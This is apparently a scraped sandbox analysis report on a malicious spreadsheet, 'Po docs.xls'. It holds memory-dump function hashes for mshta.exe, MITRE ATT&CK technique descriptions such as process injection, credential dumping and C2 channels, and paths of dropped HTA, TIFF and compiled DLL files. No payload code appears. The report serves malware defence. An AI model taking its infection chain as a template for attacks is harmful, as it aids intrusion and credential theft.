Opcode Fuzzy Hash: a9cf73a5284c657376acbe6e74abc0f4fbb331db06dbbaa62a271e1bc2857b16
Instruction Fuzzy Hash: AB22153090CB894FE799EB2C94546787BE2FF9A344F2441EED44EC72A3DA24AC16C741

Analysis Process: mshta.exePID: 2684, Parent PID: 564COMMON

Executed Functions

Function 03320FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000003.469886051.0000000003320000.00000010.00000800.00020000.00000000.sdmp, Offset: 03320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_3320000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction ID: 7583a5c4ed3ddd6ec1ed011b7e901fe4eaca020a8792d8bd57404b9006190355
Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction Fuzzy Hash:

Function 03320FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000003.469886051.0000000003320000.00000010.00000800.00020000.00000000.sdmp, Offset: 03320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_3320000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction ID: 7583a5c4ed3ddd6ec1ed011b7e901fe4eaca020a8792d8bd57404b9006190355
Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction Fuzzy Hash:

Function 03320FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000003.469886051.0000000003320000.00000010.00000800.00020000.00000000.sdmp, Offset: 03320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_3320000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction ID: 7583a5c4ed3ddd6ec1ed011b7e901fe4eaca020a8792d8bd57404b9006190355
Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction Fuzzy Hash:

Function 03320FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000003.469886051.0000000003320000.00000010.00000800.00020000.00000000.sdmp, Offset: 03320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_3320000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction ID: 7583a5c4ed3ddd6ec1ed011b7e901fe4eaca020a8792d8bd57404b9006190355
Opcode Fuzzy Hash: 5b6f7839063d9ef41bdfbe4116d10e7f1b6142974b10c5c3148811bafbd638da
Instruction Fuzzy Hash:

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Po docs.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creatednewthingsforme[1].hta

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\seethebesthtingswithmewhichgivegreatoutputofmegood[1].tiff

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4FB9E199.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\875A500F.emf

C:\Users\user\AppData\Local\Temp\10cma5dt.twm.psm1

C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.0.cs

C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline

C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.dll

C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.out

C:\Users\user\AppData\Local\Temp\3lzsnizg\CSCBF63D2839AE346389099BF789A42623B.TMP

Windows Analysis Report
Po docs.xls

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre